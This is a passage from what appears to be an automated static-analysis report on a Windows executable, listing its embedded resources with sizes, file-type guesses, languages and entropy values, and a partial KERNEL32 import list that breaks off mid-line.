RT_BITMAP	0x4804b4	0xc8	Device independent bitmap graphic, 10 x 12 x 4, image size 96, resolution 3780 x 3780 px/m			0.51
RT_BITMAP	0x48057c	0x168	Device independent bitmap graphic, 32 x 16 x 4, image size 256, 16 important colors			0.4722222222222222
RT_BITMAP	0x4806e4	0x12b8	Device independent bitmap graphic, 132 x 12 x 24, image size 4752, resolution 2834 x 2834 px/m			0.24895659432387313
RT_BITMAP	0x48199c	0x94e	Device independent bitmap graphic, 60 x 13 x 24, image size 2342, resolution 2834 x 2834 px/m			0.45759865659109994
RT_BITMAP	0x4822ec	0x39c	Device independent bitmap graphic, 17 x 17 x 24, image size 884			0.11904761904761904
RT_BITMAP	0x482688	0x5a6	Device independent bitmap graphic, 19 x 19 x 8, image size 0, resolution 3779 x 3779 px/m			0.8015214384508991
RT_BITMAP	0x482c30	0x5a6	Device independent bitmap graphic, 19 x 19 x 8, image size 0, resolution 3779 x 3779 px/m			0.826417704011065
RT_BITMAP	0x4831d8	0xb8	Device independent bitmap graphic, 12 x 10 x 4, image size 80	English	United States	0.44565217391304346
RT_BITMAP	0x483290	0x144	Device independent bitmap graphic, 33 x 11 x 4, image size 220	English	United States	0.37962962962962965
RT_ICON	0x4833d4	0x4bba	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	Chinese	China	1.0008253378726917
RT_ICON	0x487f90	0x2b35	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9290299249615767
RT_ICON	0x48aac8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Chinese	China	0.24813432835820895
RT_ICON	0x48b970	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Chinese	China	0.2694043321299639
RT_ICON	0x48c218	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Chinese	China	0.30357142857142855
RT_ICON	0x48c8e0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Chinese	China	0.23121387283236994
RT_ICON	0x48ce48	0x2b32	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9440224272020257
RT_ICON	0x48f97c	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	Chinese	China	0.05935762451200757
RT_ICON	0x4a01a4	0x67e8	Device independent bitmap graphic, 80 x 160 x 32, image size 26560	Chinese	China	0.11244360902255639
RT_ICON	0x4a698c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Chinese	China	0.16784232365145227
RT_ICON	0x4a8f34	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Chinese	China	0.19723264540337712
RT_ICON	0x4a9fdc	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Chinese	China	0.3168032786885246
RT_ICON	0x4aa964	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Chinese	China	0.35815602836879434
RT_ICON	0x4aadcc	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.552797833935018
RT_ICON	0x4ab674	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.45736994219653176
RT_ICON	0x4abbdc	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.4588150289017341
RT_ICON	0x4ac144	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512			0.581989247311828
RT_ICON	0x4ac42c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128			0.581081081081081
RT_ICON	0x4ac554	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors			0.7847472924187726
RT_ICON	0x4acdfc	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors			0.4963872832369942
RT_ICON	0x4ad364	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.5393996247654784
RT_ICON	0x4ae40c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.5647163120567376
RT_ICON	0x4ae874	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512			0.6048387096774194
RT_ICON	0x4aeb5c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128			0.6114864864864865
RT_ICON	0x4aec84	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors			0.7915162454873647
RT_ICON	0x4af52c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors			0.4718208092485549
RT_ICON	0x4afa94	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.5555816135084428
RT_ICON	0x4b0b3c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.5638297872340425
RT_ICON	0x4b0fa4	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512			0.5577956989247311
RT_ICON	0x4b128c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128			0.6351351351351351
RT_ICON	0x4b13b4	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors			0.7324007220216606
RT_ICON	0x4b1c5c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors			0.48988439306358383
RT_ICON	0x4b21c4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.5377579737335835
RT_ICON	0x4b326c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.5948581560283688
RT_ICON	0x4b36d4	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512			0.4852150537634409
RT_ICON	0x4b39bc	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128			0.5777027027027027
RT_ICON	0x4b3ae4	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors			0.6746389891696751
RT_ICON	0x4b438c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors			0.29985549132947975
RT_ICON	0x4b48f4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.42847091932457787
RT_ICON	0x4b599c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.4175531914893617
RT_ICON	0x4b5e04	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 128			0.7302631578947368
RT_ICON	0x4b5f34	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512			0.6088709677419355
RT_ICON	0x4b621c	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors			0.7969314079422383
RT_ICON	0x4b6ac4	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors			0.5592485549132948
RT_ICON	0x4b702c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.5710600375234521
RT_ICON	0x4b80d4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.6046099290780141
RT_ICON	0x4b853c	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors			0.4118663594470046
RT_MENU	0x4b8c04	0x4a	Matlab v4 mat-file (little endian) e, numeric, rows 6357136, columns 6357089	English	United States	0.7972972972972973
RT_MENU	0x4b8c50	0x1cc	data	English	United States	0.45869565217391306
RT_MENU	0x4b8e1c	0x1d0	data	English	United States	0.49353448275862066
RT_MENU	0x4b8fec	0x144	data	English	United States	0.49074074074074076
RT_MENU	0x4b9130	0x1e2	data	English	United States	0.34854771784232363
RT_MENU	0x4b9314	0x222	data	English	United States	0.4175824175824176
RT_DIALOG	0x4b9538	0x1b6	data	English	United States	0.5570776255707762
RT_DIALOG	0x4b96f0	0x72e	data	English	United States	0.3797606093579978
RT_DIALOG	0x4b9e20	0x1f4	data	English	United States	0.574
RT_DIALOG	0x4ba014	0x86	data	Chinese	China	0.7388059701492538
RT_DIALOG	0x4ba09c	0x592	data	English	United States	0.3534361851332398
RT_DIALOG	0x4ba630	0xe2	data	English	United States	0.672566371681416
RT_DIALOG	0x4ba714	0x19a	data	English	United States	0.5365853658536586
RT_DIALOG	0x4ba8b0	0x2dc	data	English	United States	0.453551912568306
RT_DIALOG	0x4bab8c	0x210	data	English	United States	0.5284090909090909
RT_DIALOG	0x4bad9c	0x180	data	English	United States	0.5546875
RT_DIALOG	0x4baf1c	0x4c	data	English	United States	0.8289473684210527
RT_DIALOG	0x4baf68	0x254	data	English	United States	0.5218120805369127
RT_DIALOG	0x4bb1bc	0x272	data	English	United States	0.4424920127795527
RT_DIALOG	0x4bb430	0xf0	data	English	United States	0.6708333333333333
RT_DIALOG	0x4bb520	0x1c4	data	English	United States	0.5376106194690266
RT_DIALOG	0x4bb6e4	0x180	data	English	United States	0.5651041666666666
RT_DIALOG	0x4bb864	0x4c	data	English	United States	0.8289473684210527
RT_DIALOG	0x4bb8b0	0x76	data	English	United States	0.7627118644067796
RT_DIALOG	0x4bb928	0x322	data	English	United States	0.3765586034912718
RT_DIALOG	0x4bbc4c	0xe0	data	English	United States	0.6741071428571429
RT_DIALOG	0x4bbd2c	0xca	data	English	United States	0.6831683168316832
RT_DIALOG	0x4bbdf8	0x1d2	data	English	United States	0.5128755364806867
RT_DIALOG	0x4bbfcc	0x68	data	English	United States	0.7692307692307693
RT_DIALOG	0x4bc034	0x68	data	English	United States	0.7596153846153846
RT_DIALOG	0x4bc09c	0x68	data	English	United States	0.7596153846153846
RT_DIALOG	0x4bc104	0x82	data	English	United States	0.7461538461538462
RT_DIALOG	0x4bc188	0x90	data	English	United States	0.6527777777777778
RT_DIALOG	0x4bc218	0x11c	data	English	United States	0.5950704225352113
RT_DIALOG	0x4bc334	0x1fc	data	English	United States	0.531496062992126
RT_DIALOG	0x4bc530	0x104	data	English	United States	0.6730769230769231
RT_DIALOG	0x4bc634	0x10c	data	English	United States	0.6417910447761194
RT_DIALOG	0x4bc740	0x110	data	English	United States	0.5330882352941176
RT_DIALOG	0x4bc850	0x8ac	data	English	United States	0.37972972972972974
RT_DIALOG	0x4bd0fc	0x670	data	English	United States	0.36468446601941745
RT_DIALOG	0x4bd76c	0xa88	data	English	United States	0.35793768545994065
RT_DIALOG	0x4be1f4	0x3c4	data	English	United States	0.3848547717842324
RT_DIALOG	0x4be5b8	0x21a	data	English	United States	0.516728624535316
RT_DIALOG	0x4be7d4	0x276	data	English	United States	0.4365079365079365
RT_DIALOG	0x4bea4c	0x2c4	data	English	United States	0.4505649717514124
RT_DIALOG	0x4bed10	0x2bc	data	English	United States	0.48142857142857143
RT_DIALOG	0x4befcc	0x16e	data	English	United States	0.5109289617486339
RT_DIALOG	0x4bf13c	0x350	data	English	United States	0.44221698113207547
RT_DIALOG	0x4bf48c	0x1f4	data	English	United States	0.486
RT_DIALOG	0x4bf680	0x104	data	English	United States	0.6
RT_DIALOG	0x4bf784	0x52	data			0.8048780487804879
RT_DIALOG	0x4bf7d8	0x128	data	English	United States	0.5844594594594594
RT_DIALOG	0x4bf900	0x436	data	English	United States	0.32189239332096475
RT_DIALOG	0x4bfd38	0xa0	data	English	United States	0.7
RT_DIALOG	0x4bfdd8	0x26a	data	English	United States	0.4563106796116505
RT_DIALOG	0x4c0044	0x598	data	English	United States	0.4057262569832402
RT_DIALOG	0x4c05dc	0x20a	data	English	United States	0.524904214559387
RT_DIALOG	0x4c07e8	0x1a0	data	English	United States	0.5576923076923077
RT_DIALOG	0x4c0988	0x4e4	data	English	United States	0.43450479233226835
RT_DIALOG	0x4c0e6c	0x474	data	English	United States	0.3684210526315789
RT_DIALOG	0x4c12e0	0x474	data	English	United States	0.38596491228070173
RT_DIALOG	0x4c1754	0x31e	data	English	United States	0.41228070175438597
RT_DIALOG	0x4c1a74	0x24a	data	English	United States	0.46757679180887374
RT_DIALOG	0x4c1cc0	0x108	data	English	United States	0.5833333333333334
RT_DIALOG	0x4c1dc8	0x15a	data	English	United States	0.5115606936416185
RT_DIALOG	0x4c1f24	0xe8	data	English	United States	0.6336206896551724
RT_DIALOG	0x4c200c	0x34	data	English	United States	0.9038461538461539
RT_STRING	0x4c2040	0x20a	data	English	United States	0.5
RT_STRING	0x4c224c	0x35c	data	English	United States	0.3872093023255814
RT_STRING	0x4c25a8	0x342	data	English	United States	0.4184652278177458
RT_STRING	0x4c28ec	0x39a	data	English	United States	0.37093275488069416
RT_STRING	0x4c2c88	0x2b4	data	English	United States	0.3945086705202312
RT_STRING	0x4c2f3c	0x22e	data	English	United States	0.517921146953405
RT_STRING	0x4c316c	0x1fe	data	English	United States	0.49411764705882355
RT_STRING	0x4c336c	0x36c	data	English	United States	0.4509132420091324
RT_STRING	0x4c36d8	0x302	data	English	United States	0.4
RT_STRING	0x4c39dc	0x380	data	English	United States	0.4029017857142857
RT_STRING	0x4c3d5c	0x756	data	English	United States	0.365814696485623
RT_STRING	0x4c44b4	0x3bc	DOS executable (COM, 0x8C-variant)	English	United States	0.4236401673640167
RT_STRING	0x4c4870	0x3ea	data	English	United States	0.3772455089820359
RT_STRING	0x4c4c5c	0x376	data	English	United States	0.4401805869074492
RT_STRING	0x4c4fd4	0x424	data	English	United States	0.4028301886792453
RT_STRING	0x4c53f8	0x2f2	data	English	United States	0.4376657824933687
RT_STRING	0x4c56ec	0xf3e	data	English	United States	0.21834956432598668
RT_STRING	0x4c662c	0x72a	data	English	United States	0.33533260632497275
RT_STRING	0x4c6d58	0xadc	data	English	United States	0.24136690647482015
RT_STRING	0x4c7834	0x70	data	English	United States	0.625
RT_STRING	0x4c78a4	0x1ce	data	English	United States	0.4264069264069264
RT_STRING	0x4c7a74	0xc6	data	English	United States	0.5707070707070707
RT_STRING	0x4c7b3c	0x32	Matlab v4 mat-file (little endian) o, numeric, rows 0, columns 0	English	United States	0.66
RT_STRING	0x4c7b70	0x2e6	data	English	United States	0.40431266846361186
RT_STRING	0x4c7e58	0x11c	data	English	United States	0.3274647887323944
RT_STRING	0x4c7f74	0xd2	data	English	United States	0.5428571428571428
RT_STRING	0x4c8048	0x2b0	data	English	United States	0.49127906976744184
RT_STRING	0x4c82f8	0x13a	data	English	United States	0.5636942675159236
RT_STRING	0x4c8434	0xf0	data	English	United States	0.5375
RT_STRING	0x4c8524	0x7a	data	English	United States	0.7131147540983607
RT_STRING	0x4c85a0	0x126	data	English	United States	0.5816326530612245
RT_STRING	0x4c86c8	0x2a2	AmigaOS bitmap font "R", fc_YSize 8192, 2560 elements, 2nd "a", 3rd "m"	English	United States	0.4421364985163205
RT_STRING	0x4c896c	0x82e	data	English	United States	0.3237822349570201
RT_STRING	0x4c919c	0x24a	data	English	United States	0.4334470989761092
RT_STRING	0x4c93e8	0xae	data	English	United States	0.4885057471264368
RT_STRING	0x4c9498	0x12e	Matlab v4 mat-file (little endian) e, numeric, rows 0, columns 0	English	United States	0.47019867549668876
RT_STRING	0x4c95c8	0x24e	data	English	United States	0.4576271186440678
RT_STRING	0x4c9818	0x260	data	English	United States	0.4555921052631579
RT_STRING	0x4c9a78	0x4dc	data	English	United States	0.3520900321543408
RT_STRING	0x4c9f54	0xb8	AmigaOS bitmap font "t", 21248 elements, 2nd, 3rd	English	United States	0.6684782608695652
RT_STRING	0x4ca00c	0x34	data	English	United States	0.5961538461538461
RT_STRING	0x4ca040	0xa0	data	English	United States	0.6875
RT_STRING	0x4ca0e0	0x62	data	English	United States	0.7142857142857143
RT_STRING	0x4ca144	0x1b2	data	English	United States	0.5138248847926268
RT_STRING	0x4ca2f8	0x11e	data	English	United States	0.48951048951048953
RT_STRING	0x4ca418	0xaa	data	English	United States	0.5705882352941176
RT_STRING	0x4ca4c4	0x38	data	English	United States	0.6428571428571429
RT_STRING	0x4ca4fc	0x120	data	English	United States	0.5868055555555556
RT_STRING	0x4ca61c	0xd0	data	English	United States	0.6346153846153846
RT_STRING	0x4ca6ec	0x21c	data	English	United States	0.5148148148148148
RT_STRING	0x4ca908	0x80	Matlab v4 mat-file (little endian) c, numeric, rows 0, columns 0	English	United States	0.5625
RT_STRING	0x4ca988	0x5e	data	English	United States	0.6595744680851063
RT_STRING	0x4ca9e8	0x106	data	English	United States	0.5458015267175572
RT_STRING	0x4caaf0	0x102	StarOffice Gallery theme q, 1795190272 objects, 1st o	English	United States	0.5852713178294574
RT_STRING	0x4cabf4	0x12e	AmigaOS bitmap font "i", fc_YSize 28416, 19456 elements, 2nd "o", 3rd	English	United States	0.5761589403973509
RT_STRING	0x4cad24	0x66	data	English	United States	0.5588235294117647
RT_STRING	0x4cad8c	0xa6	Matlab v4 mat-file (little endian) C, numeric, rows 0, columns 0	English	United States	0.5602409638554217
RT_STRING	0x4cae34	0x82	StarOffice Gallery theme p, 536899072 objects, 1st n	English	United States	0.7153846153846154
RT_STRING	0x4caeb8	0x2a	data	English	United States	0.5476190476190477
RT_STRING	0x4caee4	0x184	data	English	United States	0.48711340206185566
RT_STRING	0x4cb068	0x4e6	data	English	United States	0.37719298245614036
RT_STRING	0x4cb550	0x264	data	English	United States	0.3333333333333333
RT_STRING	0x4cb7b4	0x2da	data	English	United States	0.3698630136986301
RT_STRING	0x4cba90	0x8a	data	English	United States	0.6594202898550725
RT_STRING	0x4cbb1c	0xac	data	English	United States	0.45348837209302323
RT_STRING	0x4cbbc8	0xde	data	English	United States	0.536036036036036
RT_STRING	0x4cbca8	0x4a8	data	English	United States	0.3221476510067114
RT_STRING	0x4cc150	0x228	data	English	United States	0.4003623188405797
RT_STRING	0x4cc378	0x2c	data	English	United States	0.5227272727272727
RT_STRING	0x4cc3a4	0x42	data	English	United States	0.6060606060606061
RT_GROUP_CURSOR	0x4cc3e8	0x22	Lotus unknown worksheet or configuration, revision 0x2	English	United States	1.0294117647058822
RT_GROUP_CURSOR	0x4cc40c	0x22	Lotus unknown worksheet or configuration, revision 0x2	English	United States	1.0294117647058822
RT_GROUP_CURSOR	0x4cc430	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x4cc444	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x4cc458	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x4cc46c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x4cc480	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x4cc494	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x4cc4a8	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x4cc4bc	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x4cc4d0	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x4cc4e4	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x4cc4f8	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x4cc50c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x4cc520	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x4cc534	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x4cc548	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x4cc55c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x4cc570	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x4cc584	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x4cc598	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x4cc5ac	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x4cc5c0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x4cc5d4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x4cc5e8	0x22	Lotus unknown worksheet or configuration, revision 0x2			1.0294117647058822
RT_GROUP_CURSOR	0x4cc60c	0x22	Lotus unknown worksheet or configuration, revision 0x2			1.0294117647058822
RT_GROUP_CURSOR	0x4cc630	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x4cc644	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x4cc658	0x22	Lotus unknown worksheet or configuration, revision 0x2	English	United States	1.0294117647058822
RT_GROUP_CURSOR	0x4cc67c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x4cc690	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x4cc6a4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x4cc6b8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x4cc6cc	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x4cc6e0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x4cc6f4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x4cc708	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x4cc71c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x4cc730	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x4cc744	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x4cc758	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x4cc76c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x4cc780	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x4cc794	0xbc	data	Chinese	China	0.6595744680851063
RT_GROUP_ICON	0x4cc850	0x14	data	English	United States	1.25
RT_GROUP_ICON	0x4cc864	0x14	data	English	United States	1.25
RT_GROUP_ICON	0x4cc878	0x14	data	English	United States	1.25
RT_GROUP_ICON	0x4cc88c	0x14	data			1.25
RT_GROUP_ICON	0x4cc8a0	0x5a	data			0.7555555555555555
RT_GROUP_ICON	0x4cc8fc	0x5a	data			0.7666666666666667
RT_GROUP_ICON	0x4cc958	0x5a	data			0.7555555555555555
RT_GROUP_ICON	0x4cc9b4	0x5a	data			0.7666666666666667
RT_GROUP_ICON	0x4cca10	0x5a	data			0.7888888888888889
RT_VERSION	0x4cca6c	0x300	data	English	United States	0.453125
RT_HTML	0x4ccd6c	0x430	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3498134328358209
RT_HTML	0x4cd19c	0x440	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.375
RT_HTML	0x4cd5dc	0x4b1	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.38218151540383016
RT_HTML	0x4cda90	0x1ce	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.47835497835497837
RT_HTML	0x4cdc60	0x284	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.39596273291925466
RT_HTML	0x4cdee4	0x1a8	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5094339622641509
RT_HTML	0x4ce08c	0x1a6	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.504739336492891
RT_HTML	0x4ce234	0x1d2	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.47639484978540775
RT_HTML	0x4ce408	0x203	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.46601941747572817
RT_HTML	0x4ce60c	0x19d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4745762711864407
RT_HTML	0x4ce7ac	0x132	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5882352941176471
RT_HTML	0x4ce8e0	0x1e3	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.41821946169772256
RT_HTML	0x4ceac4	0x1ae	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5093023255813953
RT_HTML	0x4cec74	0x1dc	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4831932773109244
RT_HTML	0x4cee50	0x1f0	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.45564516129032256
RT_HTML	0x4cf040	0x2ed	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4098798397863818
RT_HTML	0x4cf330	0x2d0	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.40694444444444444
RT_HTML	0x4cf600	0x24a	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.44197952218430037
RT_HTML	0x4cf84c	0x269	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.42301458670988656
RT_HTML	0x4cfab8	0x2e4	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.41216216216216217
RT_HTML	0x4cfd9c	0x1a4	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5214285714285715
RT_HTML	0x4cff40	0x1d5	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4989339019189765
RT_HTML	0x4d0118	0x210	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.45265151515151514
RT_HTML	0x4d0328	0x19c	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5072815533980582
RT_HTML	0x4d04c4	0x1d3	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.49036402569593146
RT_HTML	0x4d0698	0x1d6	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.502127659574468
RT_HTML	0x4d0870	0x1c4	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4756637168141593
RT_HTML	0x4d0a34	0x1d6	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.451063829787234
RT_HTML	0x4d0c0c	0x259	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.43594009983361065
RT_HTML	0x4d0e68	0x1d0	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4676724137931034
RT_HTML	0x4d1038	0x16c	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5659340659340659
RT_HTML	0x4d11a4	0x20c	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.45038167938931295
RT_HTML	0x4d13b0	0x16e	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5491803278688525
RT_HTML	0x4d1520	0x2a4	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.41863905325443784
RT_MANIFEST	0x4d17c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727
None	0x4d1944	0x22	data			1.1470588235294117
None	0x4d1968	0x14	data			1.4
None	0x4d197c	0xc	data			1.6666666666666667
None	0x4d1988	0x16	data			1.3181818181818181
None	0x4d19a0	0xc	data			1.5

Imports

DLL	Import
KERNEL32.dll	HeapSize, GetStdHandle, GetModuleFileNameA, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, GetStartupInfoA, HeapCreate, VirtualFree, QueryPerformanceCounter, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, GetTimeFormatA, GetDateFormatA, GetTimeZoneInformation, LCMapStringW, LCMapStringA, GetConsoleCP, GetConsoleMode, InitializeCriticalSectionAndSpinCount, GetLocaleInfoA, SetStdHandle, EnumSystemLocalesA, IsValidLocale, GetStringTypeA, GetStringTypeW, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, GetProcessHeap, SetEnvironmentVariableA, ExitProcess, HeapReAlloc, RaiseException, RtlUnwind, HeapAlloc, HeapFree, ExitThread, IsDebuggerPresent, UnhandledExceptionFilter, TerminateProcess, GetStartupInfoW, SetErrorMode, GetFileTime, GetFileAttributesW, lstrlenA, GlobalGetAtomNameW, GlobalFlags, VirtualProtect, GetFullPathNameW, SetEndOfFile, UnlockFile, LockFile, GetThreadLocale, GetStringTypeExW, FileTimeToLocalFileTime, TlsFree, LocalReAlloc, TlsSetValue, TlsAlloc, GlobalHandle, GlobalReAlloc, TlsGetValue, VirtualQuery, GetSystemInfo, GetProfileIntW, InterlockedCompareExchange, ResetEvent, EnumResourceTypesW, EnumResourceNamesW, LocalAlloc, WritePrivateProfileStringW, ConvertDefaultLocale, EnumResourceLanguagesW, lstrcmpA, CompareStringA, InterlockedExchange, GetModuleHandleA, FormatMessageW, GlobalLock, GlobalUnlock, ResumeThread, SetThreadPriority, GlobalAddAtomW, GlobalFindAtomW, GlobalDeleteAtom, CompareStringW, lstrcmpW, GetVersionExA, DosDateTimeToFileTime, DebugBreak, CreateFileA, OpenFileMappingW, OutputDebugStringA, GetFileSizeEx, FlushFileBuffers, QueryDosDeviceW, VirtualAlloc, ReleaseMutex, SetFileTime, CreateDirectoryW, DeviceIoControl, GetTempFileNameW, GetTempPathW, lstrcmpiW, CompareFileTime, GetSystemTimeAsFileTime, GetSystemTime, ExpandEnvironmentStringsW, SystemTimeToFileTime, GetLocalTime, UnmapViewOfFile, MapViewOfFile, CreateFileMappingW, DuplicateHandle, FileTimeToDosDateTime, SetFilePointer, GetFileInformationByHandle, GetFileType, WinExec, WriteFile, WideCharToMultiByte, lstrlenW, LoadLibraryA, lstrcpynW, GetLocaleInfoW, FindResourceW, GetNumberFormatW, GetCurrentProcessId, 